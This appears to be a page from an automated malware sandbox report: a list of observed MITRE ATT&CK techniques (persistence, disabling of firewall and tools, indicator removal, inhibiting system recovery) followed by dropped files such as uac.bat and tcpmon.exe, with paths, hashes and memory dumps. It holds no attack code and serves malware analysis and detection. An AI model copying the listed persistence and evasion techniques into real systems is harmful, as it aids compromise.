                                                                                                                                                                                                                                                                                                                                                                                Local Account

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1136.001

                                                                                                                                                                                                                                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1543

                                                                                                                                                                                                                                                                                                                                                                                Windows Service

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1543.003

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1098

                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1547

                                                                                                                                                                                                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1547.001

                                                                                                                                                                                                                                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1543

                                                                                                                                                                                                                                                                                                                                                                                Windows Service

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1543.003

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                Direct Volume Access

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1006

                                                                                                                                                                                                                                                                                                                                                                                Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1562

                                                                                                                                                                                                                                                                                                                                                                                Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1562.004

                                                                                                                                                                                                                                                                                                                                                                                Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1562.001

                                                                                                                                                                                                                                                                                                                                                                                Indicator Removal

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1070

                                                                                                                                                                                                                                                                                                                                                                                File Deletion

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1070.004

                                                                                                                                                                                                                                                                                                                                                                                Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1112

                                                                                                                                                                                                                                                                                                                                                                                Credential Access

                                                                                                                                                                                                                                                                                                                                                                                Discovery

                                                                                                                                                                                                                                                                                                                                                                                Permission Groups Discovery

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1069

                                                                                                                                                                                                                                                                                                                                                                                Local Groups

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1069.001

                                                                                                                                                                                                                                                                                                                                                                                Query Registry

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1012

                                                                                                                                                                                                                                                                                                                                                                                System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1082

                                                                                                                                                                                                                                                                                                                                                                                System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1016

                                                                                                                                                                                                                                                                                                                                                                                Wi-Fi Discovery

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1016.002

                                                                                                                                                                                                                                                                                                                                                                                Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                Collection

                                                                                                                                                                                                                                                                                                                                                                                Command and Control

                                                                                                                                                                                                                                                                                                                                                                                Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                Impact

                                                                                                                                                                                                                                                                                                                                                                                Inhibit System Recovery

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1490

                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 828643531e314cc6dbc177b6e8d310411df107483bf576b416170c02d4dd8722
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 26990d2103800d4aefd59f3804a48b15ac718e515acaa89f388d7ce249875886
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 3408df5d0a08f6f92014c7f0fdf3dff7007c5a8d4f359cb97fb21250d9df007b
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 76d54102dacbdbd73cfe3f989f8cd4926e1df25fd48abe02e29d0ab824896ad3
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 669e645f885f8ed8f5c0dd027d5c021985cc2626690bc94681ff2498fe61f150
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ad0c8bd01232f694db7141ec54a9902f4966766d5275535c7f7e67c7381aac39
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 d4b18a146aeda0267a928afb700e51f7ea57a62b7ba2d61403a8cda83b582a77
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 103315ebf8597928e5edeeaf586ca4474dc1fab709266a989ab9b9ba749c1dfc
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                install.log
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                                • Size 33B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 6e7cd2e28aba801da4d2dd89c58eab1aab34c10889b5a927cace75ac0540f79a
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                                • Size 53KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                5442f648-5373-41f9-8afb-e23693575df5.inf
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\5442f648-5373-41f9-8afb-e23693575df5.inf
                                                                                                                                                                                                                                                                                                                                                                                • Size 170B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 07744db77fe47c0d93e4a50ef69801ca1398c67de0a47ee3c9746be4bd0291e4
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                63b6eeb3-e685-4425-88ee-c8f9e86269e4.inf
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\63b6eeb3-e685-4425-88ee-c8f9e86269e4.inf
                                                                                                                                                                                                                                                                                                                                                                                • Size 154B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                __PSScriptPolicyTest_xy1e121z.tdj.ps1
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xy1e121z.tdj.ps1
                                                                                                                                                                                                                                                                                                                                                                                • Size 60B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                uac.bat
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\uac.bat
                                                                                                                                                                                                                                                                                                                                                                                • Size 76B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 563753d86a47bd2247ffa231f5079c38be0f5acc76a65dd5e6fc2861f7e3efef
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                tcpmon.exe
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                                                                                                                                                                                                                                                • Size 39KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ea58731aae68436bb8be60c48807a4d5af1ad22b342bd440179281cdcd6d584d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                config.dat
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\48A28C3B-8D98-4EF6-883F-FF1AA45F1134\config.dat
                                                                                                                                                                                                                                                                                                                                                                                • Size 28B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                run.dat
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\48A28C3B-8D98-4EF6-883F-FF1AA45F1134\run.dat
                                                                                                                                                                                                                                                                                                                                                                                • Size 20B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                invoice_2.pdf
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\Documents\invoice_2.pdf
                                                                                                                                                                                                                                                                                                                                                                                • Size 52KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 577e9be509c3528c195dedc9f1c72770fd434bf513be61b89abc18074ba25862
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                memory/412-422-0x000000001D340000-0x000000001D4E9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/412-659-0x000000001D340000-0x000000001D4E9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/732-412-0x000000001CB00000-0x000000001CCA9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/732-620-0x000000001CB00000-0x000000001CCA9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/748-413-0x000000001D640000-0x000000001D7E9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/748-621-0x000000001D640000-0x000000001D7E9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/828-1270-0x000000001D790000-0x000000001D939000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/2440-1320-0x000000001D1A0000-0x000000001D349000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/2664-1271-0x000000001D370000-0x000000001D519000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/2876-1262-0x000000001CD20000-0x000000001CEC9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/3288-411-0x0000000005050000-0x00000000051F9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/3420-1211-0x000000001CD90000-0x000000001CF39000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/3420-292-0x000000001B160000-0x000000001B170000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/3420-0-0x00000000003E0000-0x00000000003F0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/3528-38-0x000001BAE5DE0000-0x000001BAE5E02000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4080-1317-0x000000001CD70000-0x000000001CF19000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4516-370-0x0000000002FE0000-0x0000000003189000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4584-667-0x000000001D4F0000-0x000000001D699000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4584-1022-0x000000001D4F0000-0x000000001D699000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4584-494-0x000000001D4F0000-0x000000001D699000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4696-1301-0x00007FFC02200000-0x00007FFC02265000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4696-1302-0x000000001CD40000-0x000000001CEE9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4920-666-0x000000001CFF0000-0x000000001D199000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4920-1021-0x000000001CFF0000-0x000000001D199000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4920-493-0x000000001CFF0000-0x000000001D199000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4932-780-0x000000001CD20000-0x000000001CEC9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4932-619-0x000000001CD20000-0x000000001CEC9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4932-1273-0x000000001CD20000-0x000000001CEC9000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/5824-534-0x000000001CD90000-0x000000001CF39000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/5824-1202-0x000000001CD90000-0x000000001CF39000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/5824-737-0x000000001CD90000-0x000000001CF39000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/7136-535-0x0000026F93AD0000-0x0000026F93AD1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/9876-1286-0x00007FFC106E0000-0x00007FFC1079E000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download